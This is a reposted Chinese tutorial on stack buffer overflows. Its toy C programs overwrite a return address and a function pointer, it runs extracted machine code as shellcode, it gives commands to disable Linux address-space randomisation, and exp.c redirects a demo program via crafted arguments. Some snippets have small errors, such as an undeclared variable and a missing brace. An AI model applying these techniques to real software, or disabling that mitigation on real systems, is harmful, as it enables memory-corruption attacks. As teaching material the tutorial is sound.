安全编程缓冲溢出[转载]

[原文:http://www.2cto.com/kf/201301/186159.html ]

缓冲区溢出

 

缓冲区溢出通常是向数组中写数据时,写入的数据的长度超出了数组原始定义的大小。比如前面你定义了 int buff[10],那么只有buff[0] - buff[9]的空间是我们定义 buff 时申请的合法空间,但后来往里面写入数据时出现了 buff[12]=0x10 则越界了。C 语言常用的strcpy、sprintf、strcat 等函数都非常容易导致缓冲区溢出问题(所以Windows推荐使用_tcscpy_s, tsprintf_s, _tcscat_s来替代)。

查阅 C 语言编程的书籍时通常会告诉你程序溢出后会发生不可预料的结果。在网络安全领域,缓冲区溢出利用的艺术在于让这个"不可预料的结果"变为我们期望的结果。

 

#include<stdio.h>

void why_here(void)   /*这个函数没有任何地方调用过 */

{

        printf("why u here ?!\n");

        _exit(0);

}

int main(int argc,char * argv[])

{

        int buff[1];

        buff[2]=(int)why_here;

        return 0;

}

   

在命令行用 VC 的命令行编译器编译(在 Linux 下用 gcc 编译并运行也是同样结果):

C:\Temp>cl buf.c

运行程序:

C:\Temp>buf.exe

why u here ?!

   

仔细分析程序和打印信息,你可以发现程序中我们没有调用过 why_here 函数,但该函数却在运行的时候被调用了!!

这里唯一的解释是 buff[2]=why_here; 操作导致了程序执行流程的变化。要解释此现象需要理解一些 C 语言底层(和计算机体系结构相关)及一些汇编知识,尤其是"栈"和汇编中 CALL/RET 的知识,如果这方面你尚有所欠缺的话建议参考一下相关书籍,否则后面的内容会很难跟上。

 

我们来理解一下程序运行情况,进入 main 函数后的栈内容下:

[ eip ][ ebp ][ buff[0] ]

高地址 <---- 低地址

   

以上 3 个存储单元中 eip 为 main 函数的返回地址,buff[0]单元就是 buff 申明的一个 int空间。程序中我们定义 int buff[1],那么只有对 buff[0]的操作才是合理的(我们只申请了一个 int 空间) 而我们的 buff[2]=why_here 操作超出了 buff 的空间,这个操作越界了,也就是溢出了。溢出的后果是:对 buff[2]赋值其实就是覆盖了栈中的 eip 存放单元的数据,将 main 函数的返回地址改为了 why_here 函数的入口地址。这样 main 函数结束后返回的时候将这个地址作为了返回地址而加以运行。

上面这个演示是缓冲区溢出最简单也是最核心的溢出本质的演示,需要仔细的理解。如果还不太清楚的话可以结合对应的汇编代码理解。

   

用 VC 的命令行编译器编译的时候指定 FA 参数可以获得对应的汇编代码(Linux 平台可以用gcc 的-S 参数获得):

 

C:\Temp>cl /FA tex.c

C:\Temp>type tex.asm

        TITLE   tex.c

        .386P

include listing.inc

if @Version gt 510

.model FLAT

else

_TEXT SEGMENT PARA USE32 PUBLIC 'CODE'

_TEXT ENDS

_DATA SEGMENT DWORD USE32 PUBLIC 'DATA'

_DATA ENDS

CONST SEGMENT DWORD USE32 PUBLIC 'CONST'

CONST     ENDS

_BSS      SEGMENT DWORD USE32 PUBLIC 'BSS'

_BSS      ENDS

$$SYMBOLS           SEGMENT BYTE USE32 'DEBSYM'

$$SYMBOLS           ENDS

_TLS      SEGMENT DWORD USE32 PUBLIC 'TLS'

_TLS      ENDS

FLAT      GROUP _DATA, CONST, _BSS

          ASSUME    CS: FLAT, DS: FLAT, SS: FLAT

endif

   

INCLUDELIB LIBC

INCLUDELIB OLDNAMES

   

_DATA     SEGMENT

$SG775 DB      'why u here ?!', 0aH, 00H

_DATA ENDS

PUBLIC _why_here

EXTRN     _printf:NEAR

EXTRN     __exit:NEAR

_TEXT     SEGMENT

_why_here PROC NEAR

        push    ebp

        mov     ebp, esp

        push    OFFSET FLAT:$SG775

        call    _printf

        add         esp, 4

        push        0

        call        __exit

        add         esp, 4

        pop         ebp

        ret         0

_why_here ENDP

_TEXT ENDS

   

PUBLIC    _main

_TEXT     SEGMENT

_buff$   = -4                                     ; size = 4

_argc$   = 8                                      ; size = 4

_argv$   = 12                                     ; size = 4

_main     PROC NEAR

push    ebp

mov     ebp, esp

push    ecx

mov     DWORD PTR _buff$[ebp+8], OFFSET FLAT:_why_here

xor     eax, eax

mov     esp, ebp

pop     ebp

ret     0

_main   ENDP

_TEXT   ENDS

END

 

这个例子中我们溢出 buff 后覆盖了栈中的函数返回地址,由于覆盖数据为栈中的数据,所以也称为栈溢出。对应的,如果溢出覆盖发生在堆中,则称为堆溢出,发生在已初始化数据

区的则称为已初始化数据区溢出。

 

实施对缓冲区溢出的利用(即攻击有此问题的程序)需要更多尚未涉及的主题:

  1. shellcode 功能
  2. shellcode 存放和地址定位
  3. 溢出地址定位

 

SHELLCODE 基础

   

溢出发生后要控制溢出后的行为关键就在于 shellcode 的功能。shellcode 其实就是一段机器码。因为我们平时顶多用汇编写程序,绝对不会直接用机器码编写程序,所以感觉shellcode 非常神秘。这里让我们来揭开其神秘面纱。

 

看看程序 shell0.c:

#include<stdio.h>

int add(int x,int y) {

        return x+y;

}

int main(void) {

        result=add(129,127);

        printf("result=%i\n",result);

        return 0;

}

 

这个程序太简单了!那么我们来看看这个程序呢?shell1.c

 

#include <stdio.h>

#include <stdlib.h>

int add(int x,int y)

{

    return x+y;

}

typedef int (*PF)(int,int);

int main(void)

{

    unsigned char buff[256];

    unsigned char *ps=(unsigned char *)&add; /* ps 指向 add 函数的开始地址 */

    unsigned char *pd=buff;

    int result=0;

    PF pf=(PF)buff;

    while(1)

    {

        *pd=*ps;

        printf("\\x%02x",*ps);

        if(*ps==0xc3)

        {

            break;

        }

        pd++,ps++;

    }

    result=pf(129,127); /*此时的 pf 指向 buff */

    printf("\nresult=%i\n",result);

    return 0;

   

编译出来运行,结果如下:

shell:\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3

result=256

 

shell1 和 shell0 的不同之处在于shell1 将 add 函数对应的机器码从代码空间拷贝到了 buff中(拷贝过程中顺便把他们打印出来了),然后通过函数指针运行了 buff 中的代码!

关键代码解释:

unsigned char * ps = (unsigned char *) &add;

&add 为函数在代码空间中开始地址,上面语句让 ps 指向了 add 函数的起始地址。

PF pf=(PF)buff;

让 pf 函数指针指向 buff,以后调用 pf 函数指针时将会把 buff 中的数据当机器码执行。

*pd = * ps;

把机器码从 add 函数开始的地方拷贝到 buff 数组中。

if(*ps == 0xc3) { break }

每个函数翻译为汇编指令后都是以 ret 指令结束,ret 指令对应的机器码为 0xc3,这个判断控制拷贝到函数结尾时停止拷贝,退出循环。

result=pf(129,127);

由于 pf 指向 buff,这里调用 pf 后将把 buff 中的数据作为代码执行。

   

shell1 和 shell0 做的事情一样,但机制就差别很大了。值得注意的是 shell1 的输出中这一行:

shell:\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3

直接以 C 语言表示字符串的形式将平时深藏不露的机器码给打印了出来。其对应的 C 语言代码是:

int add(int x,int y) {

return x+y;

}

对应的汇编码(AT&T 的表示)为:

      pushl %ebp

        movl     %esp, %ebp

        movl     12(%ebp), %eax

        addl     8(%ebp), %eax

        popl     %ebp

        ret

   

接下来理解这个程序应该就很容易了 shell2.c:

#include<stdio.h>

typedef int (* PF)(int,int);

int main(void)

{

    unsigned char buff[]="\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3";

    PF pf=(PF)buff;

    int result=0;

    result=pf(129,127);

    printf("result=%i\n",result);

    return 0;

}

我们直接把 add 函数对应的机器码写到 buff 数组中,然后直接从 buff 中运行 add 功能。

编译运行结果为:

result=256

   

本 质 上 来 看 上 面 的 "\x55\x89\xe5\x8b\x45\x0c\x03\x45\x08\x5d\xc3"就 是 一 段shellcode。shellcode 的名称来源和 Unix 的 Shell 有些关系,早期攻击程序中 shellcode

的功能是开启一个新的 shell,也就是说溢出攻击里 shellcode 的功能远远不像我们演示中

这么简单,需要完成更多的功能。无论 shellcode 完成什么功能,其本质就是一段能完成更

多功能的机器码。当然要做更多事情的 shellcode 的编写需要解决很多这里没有遇到的问

题,如:

    1. 函数重定位

    2. 系统调用接口

    3. 自身优化

    4. 等等。

 

程序进程空间地址定位

   

这个标题比较长,得要解释一下。这里有一个经常会混淆的概念要澄清一下,程序的源代码称为程序源代码,源代码编译后的二进制可执行文件称为程序,程序被运行起来后内存中和他相关的内存资源和 CPU 资源的总和称为进程。程序空间其实指的是进程中内存布局和内存中的数据。再通俗点就是程序被运行起来时其内存空间的布局。

   

这点需要记住:一个程序被编译完成后其运行时内部的内存空间布局就已经确定。这个编译好的二进制文件在不同时间,不同机器上(当然操作系统得是一样的)运行,其内存布局是完全相同的(一些特例除外,后面会说到)。这就是内存空间地址定位的基础!

   

写一程序 a.c 如下:

#include<stdio.h>

char * p="Hello";

int a=10;

int main(int argc,char * argv[])

{

        int b[0];

        char * f=malloc(8);

        printf("p content addr:%p\n",p);

        printf("p point addr:%p\n",&p);

        printf("a addr:%p\n",&a);

        printf("b addr:%p\n",&b);

        printf("f content addr:%p\n",f);

        printf("main fun addr:%p\n",&main);

}

编译: gcc a.c -o a #Win 下用 cl a.c 编译,以下以 Linux 为例,Win 系统同样适用

在我的 Ubuntu 7.04 上执行:

cloud@dream:~/Work/cloud$ ./a

p content addr:0x804852c

p point addr:0x80496a8

a addr:0x80496ac

b addr:0xbffff9e4

f content addr:0x804a008

main fun addr:0x80483b4

这里我们可以看到我们各变量在内存中的地址。

 

过几分钟再执行一次:

cloud@dream:~/Work/cloud$ ./a

p content addr:0x804852c

p point addr:0x80496a8

a addr:0x80496ac

b addr:0xbffff9e4

f content addr:0x804a008

main fun addr:0x80483b4

 

看两次执行时这些变量在内存中的地址是完全一样的。

(如果不一样的话表示你的 Kernel 作了栈随机处理,这个机制是专门防范溢出用的,对安全

而言这个机制非常有用,但对你学习而言则带来不少麻烦,为了学习方便,可以先用以下方

法禁用内核的这个功能:sudo root,然后 echo 0 >/proc/sys/kernel/randomize_va_space ;

如果是 RedHat 系列,可以通过 echo 0 > /proc/sys/kernel/exec-shield-randomize 禁用。  )

   

那么我们的程序执行起来时内存布局是啥样的呢?这点可以通过 nm、     dumpbin.exe、IDA Pro等工具看到,这里是 IDA Pro 对可执行二进制程序 a 进行分析的结果:

 

从中我 们可以看到 内存空间被分 为多个段, 其中.text 段存放程序代码,起始地 址为

0x8048310,结束地址为 0x8048508。a 程序执行结果中输出了:

main fun addr:0x80483b4

可见 main 函数起始地址为 0x80483b4,正好落在.text 段内。有空你可以把 a 程序输出中各个地址拿到这里来对对,看看各个变量都在什么段里,至于各个段存有什么用,这里就不一一讲了,有空的话你可以 google 一下。

另外需要说明的是栈空间的结束地址是固定的,在 Linux 下为:0xc0000000,a 程序执行时

输出的:

b addr:0xbffff9e4

这个地址就是在栈中。

为什么栈的起始地址不固定而是结束地址固定?这个就需要你查查手边 x86 汇编手册关于

栈和函数调用的章节了。

以上内容是为了让你对程序空间有个直观的认识,如果不是很清楚也没有关系,这基本不影

响后面的阅读

   

好了到现在我们基础知识已经够用了,来看看这个程序 space.c:

#include <stdio.h>

#include <stdlib.h>

int    add(int x,int y)

{

      return x+y;

}

int    mul(int x,int y)

{

      return x*y;

}

typedef int (* PF)(int,int);

int main(int argc,char *argv[])

{

      PF pf; /* 函数指针 pf */

      char buff[4]; /* buff 溢出后将覆盖 pf */

      int t=0;

   

      pf=(PF) &mul; /* 函数指针默认指向 mul 函数的起始地址 */

   

      printf("addr add fun : %p\n",&add);

      printf("addr mul fun : %p\n",&mul);

      printf("pf=0x%x\n",pf);

      if(argc >1)

      {

          memcpy(buff,argv[1],8);

      }

      printf("now pf=0x%x\n",pf);

   

      t=pf(4,8);

      printf("4*8=%i\n",t);

}

 

程序开始我们定义了 PF pf;接着定义了 char buff[4];

此时程序栈中空间片断如下:

[ pf 值,占 4 字节 ] [ buff 的 4 字节 ]

高地址      ←--------         低地址

这样 buff 操作发生溢出则会覆盖 pf 的值,而 pf 中我们默认存放 mul 函数的起始地址,并

且我们后面会通过 t=pf(4,8);来执行其指向地址的机器码。

默认情况下如果不指定命令行参数,那么不会执行 memcpy 操作,此时 pf 中存放 mul 函数起始地址,pf(4,8)时会执行 mul 函数。

这里我们明确强调一点,所谓函数就是程序运行时内存中存放的对应机器码,函数名如 add

和&add 都是指其对应机器码的起始内存地址。

   

执行一下 space 程序看看输出:

cloud@dream:~/Work/cloud$ ./space

addr add fun : 0x8048374

addr mul fun : 0x804837f

pf=0x804837f

now pf=0x804837f

4*8=32

 

输出非常正常,add 起始地址为 0x8048374,从这个地址开始放着 add 函数对应的机器码;mul 起始地址为 0x804837f,pf 值为 0x804837f,即 mul 起始地址,pf(4,8)就是执行 pf 所指向地址的机器码,传入参数为 4 和 8;最后输出 4*8=32。

 

好戏开始了,我们指定一下命令行参数 aaaaABCD:

cloud@dream:~/Work/cloud$ ./space ABCDABCD

addr add fun : 0x8048374

addr mul fun : 0x804837f

pf=0x804837f

now pf=0x44434241

段错误 (core dumped)

 

这次 buff 发生了溢出,覆盖了 pf 中的内容,现在 pf 值为 0x44434241,最后程序崩溃。为什么 pf 值为 0x44434241 呢?!因为:

字符'A'对应的 ascii 值为 0x41

字符'B'对应的 ascii 值为 0x42

字符'C'对应的 ascii 值为 0x43

字符'D'对应的 ascii 值为 0x44

考虑到 x86 内存中字节序为低位在前,反过来就像当于'ABCD 了'!

   

这表示什么?

这 表示 我们 通 过命 令行 利 用溢 出 buff 指 定 了函 数 指针 pf 的值 了 ,我 们这 里 指定 了0x44434241,这样 pf(4,8)调用时,程序就转到了地址 0x44434241,由于 0x44434241 是无效空间(对照上面的程序空间中段的分布,没有任何段包含了此地址就知道了),所以程序最后崩溃 core dumped 了。

   

用 gdb 来看更直观:

cloud@dream:~/Work/cloud$ gdb ./space

(gdb) r aaaaABCD

Starting program: /mnt/sec/cloud/cloud/space aaaaABCD

addr add fun : 0x8048374

addr mul fun : 0x804837f

pf=0x804837f

now pf=0x44434241

Program received signal SIGSEGV, Segmentation fault.

0x44434241 in ?? ()

(gdb) p $eip

$2 = (void (*)()) 0x44434241   #eip 寄存器现在值为 0x44434241

(gdb)

 

现在我们已经通过指定命令行参数,利用溢出修改了程序的执行流程,但由于我们指定的地

址为无效地址导致程序崩溃。我 们现 在已 经 知道 如果 我们 指 定 pf 值 为 0x8048374 就 会 执行 add 函数 ,如 果 指定 为0x804837f,就会执行 mul 函数 。接下来就好办了,我们来写一个程序通过 execve 来执行 space 程序,给如下命令行参数:

./space aaaa\x74\x83\x04\x08

即有针对性的指定命令行参数来修改 pf 值为 0x8048374,这样 space 将调用 add 函数,而不是默认的 mul !

/* exp.c */

#include<stdio.h>

int main(void)

{

        char * a0="space";

        unsigned char a1[128];

        char * arg[]= {a0,a1,0};

        a1[0]='a';

        a1[1]='a';

        a1[2]='a';

        a1[3]='a';

        a1[4]=0x74;

        a1[5]=0x83;

        a1[6]=0x04;

        a1[7]=0x08;

        a1[8]=0;

 

        execve("./space",arg,0);

}

cloud@dream:~/Work/cloud$ gcc exp.c -o e

cloud@dream:~/Work/cloud$ ./e

addr add fun : 0x8048374

addr mul fun : 0x804837f

pf=0x804837f

now pf=0x8048374

4*8=12

看输出结果是 4+8 的值 12 了。

现在程序的流程被我们通过溢出并指定 add 的内存地址来进行修改了。

 

我们这里设计到了地址空间定位,主要有两处:

  1. buff 写入多长后会发生溢出。由于这里源程序就在我们手里,一看

    PF pf;

    char buff[4];

    就知道超过 4 字节就将覆盖到 pf 值了,但很多时候我们没有源程序,这就需要逆向工程分析+动态调试来获取了。

2. 用于覆盖 pf 的数据应该是多少。我们这里用的是 add 函数的地址值 0x8048374,并且我们用程序直接打印出了其地址,所以一看就知道了,但如果程序不是我们自己,同样需要用逆向工程技巧+动态调试技巧来确定了。

   

好了,以上我们已经可以通过溢出来修改目标程序流程了,已经掌握了溢出利用的精髓。现

实生活中的溢出利用当然更复杂一点,需要更多的系统体系结构知识和 N 多的小技巧而已。

相信你以后会逐步了解到所谓溢出,无论是什么类型的溢出,根本上就涉及两个问题,用谁

去覆盖谁,概况一下就是通过一定技巧将指定的数据写入到指定内存中。 比如上面我们就是将指定数据 0x8048374 写入到了 pf 的值所占有的内存空间中。

原文地址:https://www.cnblogs.com/dlbrant/p/3105125.html